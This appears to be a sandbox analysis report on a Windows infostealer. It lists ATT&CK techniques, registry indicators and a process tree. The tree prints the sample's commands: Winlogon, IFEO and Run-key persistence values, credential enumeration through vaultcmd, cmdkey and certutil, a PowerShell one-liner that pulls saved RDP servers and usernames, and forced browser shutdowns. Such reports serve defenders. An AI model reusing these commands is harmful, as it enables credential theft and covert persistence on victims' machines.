19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/08/2026, 08:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Size 5.1MB
Sample260814-krfthayglc
SHA256 19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a
MD5 e1e68c1d960383568c82512124721d0c
SHA1 0330a88502d0c6cb0d6a9b0509edba3381028483
SHA512 bedfe3abe028fd3a53bf8e3a0639256b2d8a47bd61a25b3a7a8ad1d5737237d8ce5c1abcd71c701c394824f513d8f7495e9d12bab6aa09df6fdacf860c2d1fa3
SSDEEP 49152:vLDR3VAys0gscdD7x7qqOL247WJqLT029LsC52QYv8vasYEQEeD8zqDzg3m8lczn:v3L9LgQv+8uv17gitPhKXCLZS64wZ
TLSH
T1CC465C03F69281EDC0AEC179875B9333FA32B8894534B65B5BD4CB222E15F60AF4D758
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe\""	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2588	netsh.exe

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
6084	chrome.exe
1300	chrome.exe
3224	chrome.exe
2636	chrome.exe
1604	chrome.exe
5804	msedge.exe
5312	msedge.exe
4624	msedge.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 2 IoCs

pid	Process
3048	runtime_broker.exe
2840	runtime_broker.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Key queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsRuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsSecurityService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\CLR\\runtime_broker.exe"	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1732	powershell.exe
5944	powershell.exe
5264	powershell.exe
5108	powershell.exe
3812	powershell.exe
2948	powershell.exe
4256	powershell.exe
1652	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

Discovers running processes 1 TTPs 20 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5360	tasklist.exe
4600	tasklist.exe
5880	tasklist.exe
1804	tasklist.exe
4364	tasklist.exe
548	tasklist.exe
2096	tasklist.exe
1068	tasklist.exe
4524	tasklist.exe
3960	tasklist.exe
4712	tasklist.exe
716	tasklist.exe
1576	tasklist.exe
4788	tasklist.exe
2284	tasklist.exe
828	tasklist.exe
5776	tasklist.exe
3204	tasklist.exe
4736	tasklist.exe
5860	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2948	powershell.exe
1652	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3964	msedge.exe
1248	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
3340	taskkill.exe
4564	taskkill.exe
5008	taskkill.exe
3716	taskkill.exe
828	taskkill.exe
3872	taskkill.exe
5376	taskkill.exe
3252	taskkill.exe
5364	taskkill.exe
2076	taskkill.exe
3380	taskkill.exe
3956	taskkill.exe
4412	taskkill.exe
5920	taskkill.exe
4232	taskkill.exe
5852	taskkill.exe
6068	taskkill.exe
3480	taskkill.exe
2248	taskkill.exe
5496	taskkill.exe
2752	taskkill.exe
4524	taskkill.exe
3156	taskkill.exe
4504	taskkill.exe
4176	taskkill.exe
3892	taskkill.exe
1720	taskkill.exe
2560	taskkill.exe
3220	taskkill.exe
556	taskkill.exe
2252	taskkill.exe
4168	taskkill.exe
4180	taskkill.exe
2936	taskkill.exe
5264	taskkill.exe
4584	taskkill.exe
2416	taskkill.exe
5172	taskkill.exe
2888	taskkill.exe
4796	taskkill.exe
4728	taskkill.exe
3220	taskkill.exe
2452	taskkill.exe
3660	taskkill.exe
3716	taskkill.exe
3736	taskkill.exe
5184	taskkill.exe
3680	taskkill.exe
2596	taskkill.exe
2228	taskkill.exe
380	taskkill.exe
4776	taskkill.exe
6056	taskkill.exe
4400	taskkill.exe
880	taskkill.exe
776	taskkill.exe
3084	taskkill.exe
4828	taskkill.exe
1448	taskkill.exe
1392	taskkill.exe
5124	taskkill.exe
3720	taskkill.exe
2188	taskkill.exe
2212	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134311710257365514"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{B1D5C23C-1578-4356-AA87-872C7918DB42}	msedge.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
3812	powershell.exe
3812	powershell.exe
1732	powershell.exe
1732	powershell.exe
2948	powershell.exe
2948	powershell.exe
2948	powershell.exe
6084	chrome.exe
6084	chrome.exe
3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
4256	powershell.exe
4256	powershell.exe
5944	powershell.exe
5944	powershell.exe
1652	powershell.exe
1652	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3204	tasklist.exe
Token: SeDebugPrivilege	1804	tasklist.exe
Token: SeDebugPrivilege	4788	tasklist.exe
Token: SeDebugPrivilege	4736	tasklist.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	5860	tasklist.exe
Token: SeDebugPrivilege	4712	taskkill.exe
Token: SeDebugPrivilege	3680	taskkill.exe
Token: SeDebugPrivilege	4412	taskkill.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	3716	taskkill.exe
Token: SeDebugPrivilege	828	taskkill.exe
Token: SeDebugPrivilege	5172	taskkill.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeDebugPrivilege	3960	tasklist.exe
Token: SeDebugPrivilege	2228	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1732	powershell.exe
Token: SeSecurityPrivilege	1732	powershell.exe
Token: SeTakeOwnershipPrivilege	1732	powershell.exe
Token: SeLoadDriverPrivilege	1732	powershell.exe
Token: SeSystemProfilePrivilege	1732	powershell.exe
Token: SeSystemtimePrivilege	1732	powershell.exe
Token: SeProfSingleProcessPrivilege	1732	powershell.exe
Token: SeIncBasePriorityPrivilege	1732	powershell.exe
Token: SeCreatePagefilePrivilege	1732	powershell.exe
Token: SeBackupPrivilege	1732	powershell.exe
Token: SeRestorePrivilege	1732	powershell.exe
Token: SeShutdownPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeSystemEnvironmentPrivilege	1732	powershell.exe
Token: SeRemoteShutdownPrivilege	1732	powershell.exe
Token: SeUndockPrivilege	1732	powershell.exe
Token: SeManageVolumePrivilege	1732	powershell.exe
Token: 33	1732	powershell.exe
Token: 34	1732	powershell.exe
Token: 35	1732	powershell.exe
Token: 36	1732	powershell.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	3872	taskkill.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	3252	taskkill.exe
Token: SeDebugPrivilege	1720	taskkill.exe
Token: SeDebugPrivilege	4616	taskkill.exe
Token: SeDebugPrivilege	4364	tasklist.exe
Token: SeDebugPrivilege	1392	taskkill.exe
Token: SeDebugPrivilege	380	taskkill.exe
Token: SeDebugPrivilege	2936	taskkill.exe
Token: SeDebugPrivilege	5360	tasklist.exe
Token: SeDebugPrivilege	5144	taskkill.exe
Token: SeDebugPrivilege	2800	taskkill.exe
Token: SeDebugPrivilege	5364	taskkill.exe
Token: SeDebugPrivilege	548	tasklist.exe
Token: SeDebugPrivilege	5920	taskkill.exe
Token: SeDebugPrivilege	2212	taskkill.exe
Token: SeDebugPrivilege	2096	tasklist.exe
Token: SeDebugPrivilege	4232	taskkill.exe
Token: SeDebugPrivilege	3272	taskkill.exe
Token: SeDebugPrivilege	3972	taskkill.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	4180	taskkill.exe
Token: SeDebugPrivilege	3720	taskkill.exe
Token: SeDebugPrivilege	2752	taskkill.exe
Token: SeDebugPrivilege	2284	tasklist.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
6084	chrome.exe
5804	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 5148	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	91
PID 3184 wrote to memory of 5416	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	98
PID 3184 wrote to memory of 3204	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	100
PID 3184 wrote to memory of 1804	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	102
PID 3184 wrote to memory of 4788	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	104
PID 3184 wrote to memory of 6068	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	106
PID 3184 wrote to memory of 3812	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	108
PID 3184 wrote to memory of 4736	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	109
PID 3184 wrote to memory of 2188	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	112
PID 3812 wrote to memory of 548	3812	powershell.exe	176
PID 3184 wrote to memory of 5860	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	115
PID 3184 wrote to memory of 4712	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	212
PID 3184 wrote to memory of 4020	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	119
PID 3184 wrote to memory of 3680	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	121
PID 3184 wrote to memory of 5528	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	189
PID 3184 wrote to memory of 4412	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	125
PID 3184 wrote to memory of 1732	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	127
PID 3184 wrote to memory of 3716	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	224
PID 3184 wrote to memory of 828	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	226
PID 3184 wrote to memory of 5172	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	229
PID 3184 wrote to memory of 2596	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	135
PID 3184 wrote to memory of 3960	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	137
PID 3184 wrote to memory of 2228	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	139
PID 3184 wrote to memory of 2888	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	141
PID 3184 wrote to memory of 3872	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	143
PID 3184 wrote to memory of 2948	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	147
PID 3184 wrote to memory of 3252	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	149
PID 3184 wrote to memory of 1720	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	152
PID 3184 wrote to memory of 4616	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	154
PID 3184 wrote to memory of 4364	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	155
PID 3184 wrote to memory of 1832	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	158
PID 3184 wrote to memory of 1392	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	160
PID 3184 wrote to memory of 2480	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	162
PID 3184 wrote to memory of 380	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	164
PID 3184 wrote to memory of 2936	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	166
PID 3184 wrote to memory of 5360	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	168
PID 3184 wrote to memory of 5144	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	170
PID 3184 wrote to memory of 2800	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	172
PID 3184 wrote to memory of 5364	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	174
PID 3184 wrote to memory of 548	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	176
PID 3184 wrote to memory of 5920	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	178
PID 3184 wrote to memory of 2212	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	180
PID 3184 wrote to memory of 2096	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	182
PID 3184 wrote to memory of 4232	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	184
PID 3184 wrote to memory of 3272	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	186
PID 3184 wrote to memory of 3972	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	188
PID 3184 wrote to memory of 2560	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	190
PID 3184 wrote to memory of 4180	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	192
PID 3184 wrote to memory of 3720	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	194
PID 3184 wrote to memory of 2752	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	196
PID 3184 wrote to memory of 2284	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	198
PID 3184 wrote to memory of 4828	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	200
PID 3184 wrote to memory of 2076	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	202
PID 3184 wrote to memory of 880	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	204
PID 3184 wrote to memory of 4600	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	206
PID 3184 wrote to memory of 5124	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	208
PID 3184 wrote to memory of 5264	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	210
PID 3184 wrote to memory of 4712	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	212
PID 3184 wrote to memory of 3220	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	214
PID 3184 wrote to memory of 556	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	216
PID 3184 wrote to memory of 3340	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	218
PID 3184 wrote to memory of 5880	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	220
PID 3184 wrote to memory of 4776	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	222
PID 3184 wrote to memory of 3716	3184	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe	224

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5148	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe

C:\Users\Admin\AppData\Local\Temp\19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe
"C:\Users\Admin\AppData\Local\Temp\19e69e7f25b188a88ea6bbfa2f07dfddb46d68891ebfae688bbc1af3bfa9d03a.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
PID:3184
- C:\Windows\system32\attrib.exe
  "attrib" +H +S C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
  2⤵
  - Views/modifies file attributes
  PID:5148
- C:\Windows\system32\vaultcmd.exe
  "vaultcmd" /list
  2⤵
  PID:5416
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list
  2⤵
  PID:6068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\system32\cmdkey.exe
    "C:\Windows\system32\cmdkey.exe" /list
    3⤵
    PID:548
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2188
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5860
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM msedge.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\system32\certutil.exe
  "certutil" -store My
  2⤵
  PID:4020
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM brave.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3680
- C:\Windows\system32\certutil.exe
  "certutil" -store -user My
  2⤵
  PID:5528
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM opera.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Get-VpnConnection | ConvertTo-Json"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM firefox.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:828
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM dragon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5172
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3960
- C:\Windows\system32\taskkill.exe
  "taskkill" /IM uc_browser.exe
  2⤵
